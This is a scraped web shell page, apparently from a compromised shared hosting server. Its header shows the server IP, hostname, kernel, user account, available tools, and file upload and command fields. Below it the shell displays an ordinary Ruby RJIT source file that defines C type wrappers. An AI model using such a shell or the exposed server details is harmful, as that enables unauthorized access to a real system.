403Webshell
Server IP : 66.29.132.122  /  Your IP : 18.189.186.165
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/alt/ruby33/share/ruby/ruby_vm/rjit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/alt/ruby33/share/ruby/ruby_vm/rjit/c_type.rb
require 'fiddle'
require 'fiddle/pack'
require_relative 'c_pointer'

module RubyVM::RJIT
  module CType
    module Struct
      # @param name [String]
      # @param members [Hash{ Symbol => [Integer, RubyVM::RJIT::CType::*] }]
      def self.new(name, sizeof, **members)
        name = members.keys.join('_') if name.empty?
        CPointer.with_class_name('Struct', name) do
          CPointer::Struct.define(sizeof, members)
        end
      end
    end

    module Union
      # @param name [String]
      # @param members [Hash{ Symbol => RubyVM::RJIT::CType::* }]
      def self.new(name, sizeof, **members)
        name = members.keys.join('_') if name.empty?
        CPointer.with_class_name('Union', name) do
          CPointer::Union.define(sizeof, members)
        end
      end
    end

    module Immediate
      # @param fiddle_type [Integer]
      def self.new(fiddle_type)
        name = Fiddle.constants.find do |const|
          const.start_with?('TYPE_') && Fiddle.const_get(const) == fiddle_type.abs
        end&.to_s
        name.delete_prefix!('TYPE_')
        if fiddle_type.negative?
          name.prepend('U')
        end
        CPointer.with_class_name('Immediate', name, cache: true) do
          CPointer::Immediate.define(fiddle_type)
        end
      end

      # @param type [String]
      def self.parse(ctype)
        new(Fiddle::Importer.parse_ctype(ctype))
      end

      def self.find(size, signed)
        fiddle_type = TYPE_MAP.fetch(size)
        fiddle_type = -fiddle_type unless signed
        new(fiddle_type)
      end

      TYPE_MAP = Fiddle::PackInfo::SIZE_MAP.map { |type, size| [size, type.abs] }.to_h
      private_constant :TYPE_MAP
    end

    module Bool
      def self.new
        CPointer::Bool
      end
    end

    class Array
      def self.new(&block)
        CPointer.with_class_name('Array', block.object_id.to_s) do
          CPointer::Array.define(block)
        end
      end
    end

    class Pointer
      # This takes a block to avoid "stack level too deep" on a cyclic reference
      # @param block [Proc]
      def self.new(&block)
        CPointer.with_class_name('Pointer', block.object_id.to_s) do
          CPointer::Pointer.define(block)
        end
      end
    end

    module BitField
      # @param width [Integer]
      # @param offset [Integer]
      def self.new(width, offset)
        CPointer.with_class_name('BitField', "#{offset}_#{width}") do
          CPointer::BitField.define(width, offset)
        end
      end
    end

    # Types that are referenced but not part of code generation targets
    Stub = ::Struct.new(:name)

    # Types that it failed to figure out from the header
    Unknown = Module.new
  end
end

Youez - 2016 - github.com/yon3zu
LinuXploit